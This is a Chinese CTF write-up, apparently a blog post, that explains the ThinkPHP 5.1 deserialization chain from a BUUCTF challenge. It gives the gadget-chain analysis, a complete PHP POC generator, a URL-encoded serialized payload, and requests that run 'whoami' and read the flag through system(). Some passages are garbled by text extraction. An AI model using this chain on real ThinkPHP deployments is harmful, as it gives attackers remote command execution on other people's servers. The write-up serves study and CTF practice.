从0到1CTFer成长之路-第三章-反序列化漏洞-thinkphp5.1.*反序列化良心详细讲解

声明

好好向大佬们学习!!!

这个thinkphp的反序列化,第一次接触的时候,一个字都看不懂,把全网关于thinkphp反序列化的都看了一遍,总算理解了百分之五六十了,然后把这个心酸、艰辛的历程记录下来,要想吃透thinkphp反序列化,一定要先明白php的反序列化,多看几个php反序列化的例子,最好自己写出一个demo(很简单,网上一大堆)

攻击

摘自

https://book.nu1l.com/tasks/#/

使用BUUCTF在线环境

https://buuoj.cn/challenges

访问

http://72b1f71b-d44d-4562-8bac-db517053ebc4.node3.buuoj.cn

访问后,点击download code,下载了,竟然是thinkphp的代码,不用说了,就是让我们自己分析thinkphp的代码,然后,找到可以反序列化的地方,执行代码

在这里插入图片描述

在这里,为了方便复现+理解,我下载安装了phpstudy(这个直接把下载下来的thinkphp源码放到WWW下,启动apache,就和BUUCTF看到的一样了),phpstorm(主要用于thinkphp反序列化利用链分析)

话不多说,开始

thinkphp反序列化利用链分析

这一章节,看不看得懂都无所谓,因为这一章,如果第一次看别的大佬文章的时候,我也看不懂,反复看POC反序列化链跟踪,看了NNNNNNN+1遍后,这一章稍微能看懂了,如果各位第一遍看的时候,看蒙了,千万不要一直看,先把第二章节-漏洞复现和第三章节-POC反序列化链跟踪,看透吃透,再回过头看这个,可能更好理解

按照惯例,找利用的入口,一般会选择php的魔术方法,这里用的是__destruct()

在这里插入图片描述

使用phpstorm打开thinkphp的源码文件,ctrl+shift+F全局搜索__destruct(),发现Windows类,如果你非常熟悉php的反序列化

就会知道,如果我们利用漏洞时,序列化出一个Windows的对象,那么在执行反序列化的时候,这个__destruct()就会执行,双击进入Windows.php中

在这里插入图片描述

可以看到,__destruct()函数调用了$this->removeFiles()函数,那么我们继续跟进removeFiles()函数,学过开发的童鞋,都知道像这种编辑器,eclipse这种,按住Ctrl,直接点方法名称,就可以跳转过去,真好用

在这里插入图片描述

可以看到,removeFiles()函数还在Windows.php中,这里建议百度一下foreach、file_exists()

一个简易的遍历for循环,这里要遍历 t h i s − > f i l e s 数 组 , 检 查 this->files数组,检查 this>filesthis->files数组中每一个元素是否是文件,那么就要求我们构造的POC里,Windows类中,有files变量,并且是一个数组

跟到这里进行不下去了,也没看到RCE的影子啊,But,file_exists()函数,是一个很重要的函数,当我们传入的参数值是一个对象的时候,file_exists()会调用__toString方法,把这个对象转换成字符串,然后再判断,所以到这里我们就又确信两点:

1.构造POC中files变量要是一个数组,并且数组的元素要是对象

2.找到__toString()函数,进入到我们的下一站,Windows类中没有,这个函数,只能全局搜索,再找关系

3.如果file_exists()的执行为true,会执行unlink,对$filename进行删除,这里是不是有点草率?

在这里插入图片描述

phpstorm全局搜索__toString()

双击进入Conversion.php中,在这个类中,有__toString()函数

在这里插入图片描述

也就是说,我们现在是从Windows类中跳过来的,跳到了Conversion类中,那么POC在构造的时候,就想办法让这两者,通过继承、use包含,产生一定微妙的关系,那么如何产生关系,这里简单说明一下

我通过全局搜索,发现,Model类,是一个抽象类,使用use包含了Conversion类

在这里插入图片描述

Pivot类继承了Model类

在这里插入图片描述

看到这里,我们可以通过将files,没忘记上面提到的files对象数组(是个数组,每个元素是个对象)吧?

POC中,files的内容,写成Pivot的对象,并且让Pivot类继承Model类,不就找到了Model类,进而找到了Conversion类,从而调用__toString()函数

好的,我们继续

还在Conversion类,__toString()函数调用了toJson()函数

在这里插入图片描述

继续

还在Conversion类,toJson()函数调用了toArray()函数

在这里插入图片描述

继续

还在Conversion类,toArray()函数中,这里是一大难点,我把不必要的代理点击左边的隐藏

我们一个函数一个函数跟踪

在这里插入图片描述

关键代码拷贝下来,得仔细看了

                    ......此处省略一百八十行代码
                    
//!empty($this->append),只有当append变量不为空,才会往下进行,所以我们的POC得构造一个不为空的append变量
if (!empty($this->append)) {
//开始使用foreach遍历append遍历,并且是键->值,所以我们构造的append变量还得是个键值对形式的
            foreach ($this->append as $key => $name) {
//判断name是否为数组,所以我们构造的append的值,要是一个数组          
                if (is_array($name)) {
//按照上述说的构造append,就会进入到这里,下面就是relation的问题了,但是我们这里要考虑一个问题,需要让代码继续往下走
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);
//代码继续往下走,意味着if (!$relation)和if (!$relation),这两个条件都要成立
                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if (!$relation) {
                            $relation->visible($name);
                        }
                    }
                    
                    ......此处省略八十行代码

上面的代码块,到了 t h i s − > g e t R e l a t i o n ( this->getRelation( this>getRelation(key),无法进行,因为需要跳转到另一个trait RelationShip类里面,进入这个类里面的getRelation()函数中

可以看到,这个函数,有三个分支(return),那我们上面的代码分析,提到,需要让代码往下走,所以if (!$relation),要为真,所以

! r e l a t i o n 为 t r u e , relation为true, relationtruerelation为null,那么就是进入到第三个return

在这里插入图片描述

//我的理解,为了自圆其说
//这里传过来的$name,实际上是,键值,要想最后返回空,那么前两个if都不能成立
public function getRelation($name = null){
//第一个if,传过来的参数不能为空,也就要求,构造的POC,键不能为空
    if (is_null($name)) {
        return $this->relation;
//第二个if,要求,传过来的键,不能在$this->relation数组中,但是我往上翻,这个类定义的relation变量默认值为空
//所以我们构造的时候,不传系统默认的,应该就没问题
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    return;
}

那么getRelation($key)成功过关,继续下一关

                    ......此处省略一百八十行代码
                    
if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {     
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);
//如果getRelation($key)为空,那么$relation为空,那么,就可以往下进行                   
                    if (!$relation) {
//这里继续把键值传给getAttr($key)函数,我们进入getAttr($key)函数                    
                        $relation = $this->getAttr($key);
                        if (!$relation) {
                            $relation->visible($name);
                        }
                    }
                    
                    ......此处省略八十行代码

我们在Attribute类找到了getAttr()函数,可以看到,getAttr()函数最后一行,最终是要返回value的值,而拿到了天使剧本(跟踪整个POC链后)发现了,value变量的值,就是第477行的 t h i s − > g e t D a t a ( this->getData( this>getData(name),那只能再进入getData($name)函数了

在这里插入图片描述

依旧在Attribute类找到了getData()函数,下图红框,就是要进入的分支

在这里插入图片描述

我们来看详细代码

public function getData($name = null){
//传过来的键值不为空,所以跳过这个if,进入下一个if
    if (is_null($name)) {
        return $this->data;
//最后POC反序列化后,是进入到这里了,因为这里面我们可以在POC构造一个data变量(键值对),最后根据传过来的键,返回data中对应的值   
//那么,第三个if中,relation为什么不能构造了?
//因为上面说到getRelation()函数要返回空,所以array_key_exists($name, $this->relation)必须为false
//综上所述,我们这里,在POC中,还需要构造一个data变量,并且也是个键值对的形式,并且键就是传过来的
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

好了,根据键,获取值,所以,结论如下

$relation = $this->getAttr($key) = $this->getData($name) = $this->data[$name]
这里的$name,实际在传参时传的是$key,所以在Conversion类中
$relation = this->data[$key]

再次回到Conversion类

                    ......此处省略一百八十行代码
                    
if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {         
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);
                    if (!$relation) {
                        $relation = $this->getAttr($key);
//$relation = $this->data[$key]                        
                        if (!$relation) {                
//$relation现在的值为data[$key],所以我们在构造POC时,data中不要又visible,为什么呢
//在php中,如果调用不存在的方法时,会自动调用__call()函数,前提是这个对象实现了或者继承了__call()
//在本例中,如果visible()函数不存在,会把visible和name作为参数传给__call()
//那么关键问题
//是_call()在哪?这里就要引入Request类了,因为,大佬们,通过全局搜索,搜索到了Request类里面有__call()
//怎么和_call()扯上关系?如果$relation = $this->data[$key] = Request的对象呢?
                            $relation->visible($name);
                        }
                    }
                    
                    ......此处省略八十行代码

进入Request类

代码分析,可以看到这个Request类中,不仅有__call(),还有call_user_func_array(),call_user_func_array()一般就是RCE的最后一站

//这里传过来的参数是visible(上面那个不存在函数),在本函数为method,和name(name是append数组的值),在本函数为args
    public function __call($method, $args)
    {
if (array_key_exists($method, $this->hook))这里暗示我们POC可能需要构造一个hook变量,并且存在键名为visible
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
//这里本身通过call_user_func_array()函数已经要可以进行RCE了,因为hook和args,都可控,但是But然而
//上面有一个很刺眼的array_unshift()函数,这个会改变我们的args变量,所以这里,只能通过POC构造hook,使hook指向一个函数
//再利用call_user_func_array()调用hook指向的那个函数,在那个函数里,再找危险函数,所以hook在这里起中转站的作用
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }

还在Request类中,搜索call_user_func()

找到了filterValue()中也是有call_user_func()这个危险函数的

如下图,所以我们要向RCE,就要控制1466行的call_user_func($filter, $value),那么就要控制filter和value,但是value始终都会被上面的那个该死的array_unshift()改变,所以我们需要找到调用filterValue()的地方

在这里插入图片描述

还在Request类中,找到了input()方法,但是这个 input()方法中的data还是形参,还是不可控,再找调用input方法的地方

在这里插入图片描述

还在Request类中,找到了param()方法,但是这个 param()方法中的name还是形参,还是不可控,再找调用param方法的地方

在这里插入图片描述

还在Request类中,找到了isAjax()方法,这里在调用param()方法时,不再是用形参了,我们可以构造了

所以hook变量那里面,中转,要中转到isAjax()方法,并且我们要构造一个config变量

在这里插入图片描述

找到了链的起始位置为isAjax(),而执行代码的位置为input()函数中的filterValue()函数,我们把代码汇总

在这里插入图片描述

在input()方法,会调用getData()函数和getFilter()方法,然后再调用filterValue()函数,我们把这几个函数放在一起

//在input()函数中
//通过getData()函数获取用户的get以及post组成的数组,值为data
//这个data会被当做filterValue()函数的第一个参数,并执行函数
    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }

//这里是对filter对象的的值进行一个赋值,从$filter = $filter ?: $this->filter
//并且把赋值后的fileter传给filterValue()函数的第三个参数,并执行函数
//所以我们需要构造一个fileter
    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

    $this->filterValue($data, $name, $filter);

    
    
//input()函数之外

//这里call_user_func($filter, $value)
//call_user_func()的两个参数都来自filterValue()接收的参数
//也就是说用户GET或POST传过来的参数,是call_user_func()的第二个也就是RCE的参数
//POC构造的filter,是call_user_func()的第一个也就是最终执行的危险函数
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }

        return $value;
    }

thinkphp反序列化利用链分析结束了

看到这里,其实大多数人是蒙的,因为本身这个链,就很复杂,很多个转点,描述的时候,尚且很困单,更何况看的人了,这里用一张图,来简述一下

在这里插入图片描述

漏洞复现

安装完phpstudy,将tp代码拷贝到WWW下,然后开启phpstudy,我用的默认80端口,然后把tp源码文件,放到了刚创建的thinkphp文件夹下,我把POC放到了WWW下

访问POC,POC在第四章节,生成恶意反序列化字符串

在这里插入图片描述

火狐POST访问,执行代码,POST的参数,就是生成的反序列化字符串

http://IP/public/?s=index/index/hello&ethan=whoami
str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D

在这里插入图片描述

拿到flag,我自己本地可没flag,这得用BUUCTF的在线环境呢,开一个,拿到flag(其实省略了很多ls的过程)

http://a76bf014-4aa0-4668-8f2d-76573a81b658.node3.buuoj.cn/thinkphp/public/?s=index/index/hello&ethan=cat ../../../../FLAG
str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D

在这里插入图片描述

在这里插入图片描述

POC反序列化链跟踪

所谓温故而知新,可以为师矣,源码也审计过了,漏洞也复现过了,那么为什么我们POST传了一个字符串,GET传入了一个命令,就把我们的命令执行了?相信有一部分人还很萌+蒙,那么这一章节,就是用变量跟踪+phpstudy,通过POC入手,跟踪源码

代码不好懂的,我已经整理成表格了

在这里插入图片描述

首先,根据源码,可以看到Index.php是接收我们变量的地方

在这里插入图片描述

访问一下

在这里插入图片描述

在Index类中,会将我们传入的序列化字符串进行反序列化,生成Windows的对象,在这个对象不用的时候,会调用__destruct()函数

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

先看下图中红框,按照我们POC的执行,这里的append经过反序列化后,应该是一个键对应一个数组

键为:ethan

值为:[“calc.exe”,“calc”]

所以,往下的函数调用中

key:ethan

name:[“calc.exe”,“calc”]

relation:从未操作过,所以为null,但是下次就不能直接vardump()一个空的了,不然程序就不往下进行啦

在这里插入图片描述

在这里插入图片描述

可以看到,输出了,name还是键值,relation,还是null,没动过,最后前两个if分支都没进入,直接return;

name:ethan

relation:null

在这里插入图片描述

在这里插入图片描述

可以看到name还是键,value这里已经是一个Request的对象了

name:键

value:Request对象

在这里插入图片描述

在这里插入图片描述

所以经过上面这一步,value是一个Request的对象,所以下面的relation也应该是Request的对象

在这里插入图片描述

在这里插入图片描述

进入Request类,可以看到

method:visible
$this->hook[$method]:isAjax()

array_unshitf前

args:Array (    [0] => Array        (            [0] => calc.exe            [1] => calc        ) )


array_unshitf后

args:Array ( 一大坨.....   [0] => Array        (            [0] => calc.exe            [1] => calc        ) )

所以我们在最后的call_user_func_array,传入这样一个有一大坨的args,就算执行了危险函数,页面没法执行calc进程

在这里插入图片描述

另辟蹊径,通过hook找到了isAjax

$this->config['var_ajax']:null

在这里插入图片描述

进入到param()函数中,可以看到,这里是把我们通过POST和GET传入的参数都拿到了,而name依旧为空,并且最后进入的是return里面的input函数

param:array(2) { ["ethan"]=> string(6) "whoami" ["str"]=> string(400) "O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":2:{s:9:"*append";a:1:{s:5:"ethan";a:2:{i:0;s:8:"calc.exe";i:1;s:4:"calc";}}s:17:"think\Modeldata";a:1:{s:5:"ethan";O:13:"think\Request":3:{s:7:"*hook";a:1:{s:7:"visible";a:2:{i:0;r:9;i:1;s:6:"isAjax";}}s:9:"*filter";s:6:"system";s:9:"*config";a:1:{s:8:"var_ajax";s:0:"";}}}}}}" }

name:string(0) "" 

在这里插入图片描述

在这里插入图片描述

来到input()函数中

在这里插入图片描述

在这里插入图片描述

经过getFileter()函数后,filter为system

在这里插入图片描述

在这里插入图片描述

放松一下喝一杯卡布奇诺,我已经写了一身的汗了~

OK,准备进入最后一站,相信这一站,我不用过多的解释了,所以我们做了上面NNNNN+1的天秀操作,就是为了构造出POC让代码能顺利进行到这里成功执行call_user_func()函数,并且

filter:system
value:用户通过GEt请求输入的命令

在这里插入图片描述

在这里插入图片描述

POC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>
  • 13
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 12
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值